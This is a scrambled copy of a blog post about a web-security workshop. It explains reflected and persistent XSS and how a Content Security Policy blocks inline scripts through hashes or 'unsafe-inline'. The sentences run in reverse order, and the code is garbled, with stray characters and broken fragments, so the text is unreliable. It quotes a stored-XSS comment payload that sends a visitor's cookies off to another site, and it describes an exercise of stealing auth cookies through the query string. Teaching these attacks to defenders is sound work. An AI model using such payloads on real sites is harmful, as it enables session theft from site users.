

It's simply a white list and when the browser sees that original script block it'll hash it, compare it with the CSP and then run it if it matches. We can copy SHA-256 hash in that error message and change the CSP to do this: Content-Security-Policy: default-src 'self' script-src 'sha256-blLDIhKaPEZDhc4WD45BC7pZxW4WBRp7E5Ne1wC/vdw='Īnd that's it - problem solved! This works because the hash of the script block will always be the same on every load so what we're effectively doing is saying "we trust this script - this exact script - and it can always run but no others can". I show people this and they frequently respond with "Whoa - isn't that dangerous?!" The irony, of course, is that this is precisely where 98% of websites are today! But again, that's at one of the extreme ends of the scale and it's really not where we want to be so let's instead focus on the next piece of that error message which talks about a hash. This completely disables the very defence we're talking about here and by doing this, any script can run. One of the first things you'll see there is that I can solve this problem using the "unsafe-inline" keyword. We'll begin by looking at the error I get in the console when that script block appears in HIBP with a bare bones CSP: In fact, we know empirically that it's 98% of the world's top 1 million websites that will do precisely this! So we have these two extremes which are to either run everything or run nothing. This is an absolute polar opposite extreme to the way most websites today are running where they'll simply run any script without knowing whether it's meant to be there or not. This is why a CSP turns off script blocks by default. How on earth is the browser meant to know whether that script is there by design or has been embedded maliciously by an attacker? There's an easy answer - it simply can't tell the difference. This is "persistent XSS" in that the attack is literally stored in the database. Miss it? That's because someone left a comment on that page which is literally this: location.href=""+encodeURIComponent(okie) Īnd now all your cookies for the site have been sent off to a totally different site. For example, try taking a look at the Bugatti Veyron page and you'll see what I mean. Now you and I can look at this and recognise that it's simply Google Analytics' standard script, but how does the browser know that? I mean how can it make a judgement call between good script and bad script? It hasn't come in as untrusted data in the request so the browser's native XSS defence can't fire (incidentally, that feature is disabled on the Hack Yourself First site courtesy of the "X-XSS-Protection: 0" header), but there's more to XSS then just "reflected XSS" anyway. It won't run because it could be malicious. M = s.getElementsByTagName(o) a.async = 1 a.src = g m.parentNode.insertBefore(a, m) I = r i = i || function (), i.l = 1 * new Date() a = s.createElement(o), Now in this particular case you'll note that this pattern gets rejected by the website because there's some very rudimentary filtering (the " That's pretty much XSS 101 - just get an alert box to fire - and reflecting a script tag is one of the most fundamental techniques attackers use to run their script on your website. The first thing that everybody tries is something similar to this: (0) The objective of this particular exercise is for the participants to steal the victim's auth cookie by constructing an XSS attack within the query string parameter. Then you can see it reflected in the page itself both in the search box and in the heading. You can see the search term - the untrusted data - in the URL: For example, if we take the sample vulnerable site I use in the exercises and search for "foobar", we see the following: In that module, we cover reflected XSS which relies on the premise of untrusted data in the request being reflected back in the response. The first one that starts to push people into territory that's usually unfamiliar to builders is the module on XSS. As it turns out, breaking websites is a heap of fun (with the obvious caveats) and people really get into the exercises. I run a workshop titled Hack Yourself First in which people usually responsible for building web apps get to try their hand at breaking them.
